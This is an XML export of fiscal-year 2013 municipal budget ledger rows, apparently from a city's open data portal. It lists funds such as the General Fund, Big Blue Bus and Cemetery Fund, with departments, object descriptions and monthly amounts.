<row _id="2378"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>24024.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>240</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>24264.0</total></row>
<row _id="2379"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>276.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>276.0</total></row>
<row _id="2380"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>4629.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>46</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4675.0</total></row>
<row _id="2381"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>482.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>482.0</total></row>
<row _id="2382"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2000.0</total></row>
<row _id="2383"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>9250.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>9250.0</total></row>
<row _id="2384"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>57527.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>575</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>58102.0</total></row>
<row _id="2385"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>3059.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>31</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3090.0</total></row>
<row _id="2386"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>544340.0</object><object_description>INDIRECT COST ALLOCATION</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>576930.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>576930.0</total></row>
<row _id="2387"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>7859.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>7859.0</total></row>
<row _id="2388"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>408150.0</object><object_description>ALT FUEL TAX CREDIT</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2013</fiscal_year><july>-1370000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-1370000.0</total></row>
<row _id="2389"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>BUSINESS &amp; REVENUE OPERATIONS</division_name><object>552010.0</object><object_description>CUSTODIAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>7842.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>7842.0</total></row>
<row _id="2390"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>400601.0</object><object_description>REVIEW OF PUBLIC ROW APPLICATI</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-103349.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-103349.0</total></row>
<row _id="2391"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>405670.0</object><object_description>HBP-FHWA PIER BRIDGE</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2013</fiscal_year><july>-700000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>-544794.61</march><april>0</april><may>0</may><june>0.0</june><total>-1244794.61</total></row>
<row _id="2392"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-3359.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-3359.0</total></row>
<row _id="2393"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>245</division_id><division_name>SOFTWARE SYSTEMS</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-8083.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-8083.0</total></row>
<row _id="2394"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>251</division_id><division_name>EMPLOYMENT &amp; ORGANIZATIONAL DE</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-6389.0</july><august>0</august><september>0.0</september><october>502.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-5887.0</total></row>
<row _id="2395"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-4346.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-628</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-4974.0</total></row>
<row _id="2396"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-4320.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-4320.0</total></row>
<row _id="2397"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-14123.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-14123.0</total></row>
<row _id="2398"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-10605.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-1087</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-11692.0</total></row>
<row _id="2399"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-9880.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>1087</february><march>0.0</march><april>-232</april><may>0</may><june>0.0</june><total>-9025.0</total></row>
<row _id="2400"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-11526.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-11526.0</total></row>
<row _id="2401"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-315.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-315.0</total></row>
<row _id="2402"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-1319.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-1319.0</total></row>
<row _id="2403"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-4303.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-4303.0</total></row>
<row _id="2404"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>212</division_id><division_name>R &amp; ES(CITY CLERK)-ELECTIONS</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>15.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>15.0</total></row>
<row _id="2405"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409001.0</object><object_description>CHILDCARE-SEPTEMBER</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-40659.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-40659.0</total></row>
<row _id="2406"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409009.0</object><object_description>CHILDCARE-MAY</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-29923.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-29923.0</total></row>
<row _id="2407"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409010.0</object><object_description>CHILDCARE-JUNE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-29923.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-29923.0</total></row>
<row _id="2408"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-8420.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>685</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-7735.0</total></row>
<row _id="2409"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>850.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>850.0</total></row>
<row _id="2410"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>30140.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>30140.0</total></row>
<row _id="2411"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-72.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-72.0</total></row>
<row _id="2412"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1143.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>11</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1154.0</total></row>
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<row _id="2414"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>55535.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>555</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>56090.0</total></row>
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<row _id="2417"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1750.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1750.0</total></row>
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<row _id="2420"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>401070.0</object><object_description>TENNIS RESERVATIONS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="2421"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>225</division_id><division_name>PARKING OPERATIONS</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>564.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>-564</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="2422"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>225</division_id><division_name>PARKING OPERATIONS</division_name><object>522184.0</object><object_description>BANK FEES-PARKING AUTHORITY</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>700.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>-700</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="2423"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>225</division_id><division_name>PARKING OPERATIONS</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>27.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>-27</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="2424"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>225</division_id><division_name>PARKING OPERATIONS</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>86100.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>-86100</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="2425"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>5356.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5356.0</total></row>
<row _id="2426"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1530.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1530.0</total></row>
<row _id="2427"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>6</fund_id><fund_name>Clean Bchs &amp; Ocean Prcl Tx Fd</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>100000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>100000.0</total></row>
<row _id="2428"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>6</fund_id><fund_name>Clean Bchs &amp; Ocean Prcl Tx Fd</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>577110.0</object><object_description>PAYMENTS TO RENT CONTROL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>3000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3000.0</total></row>
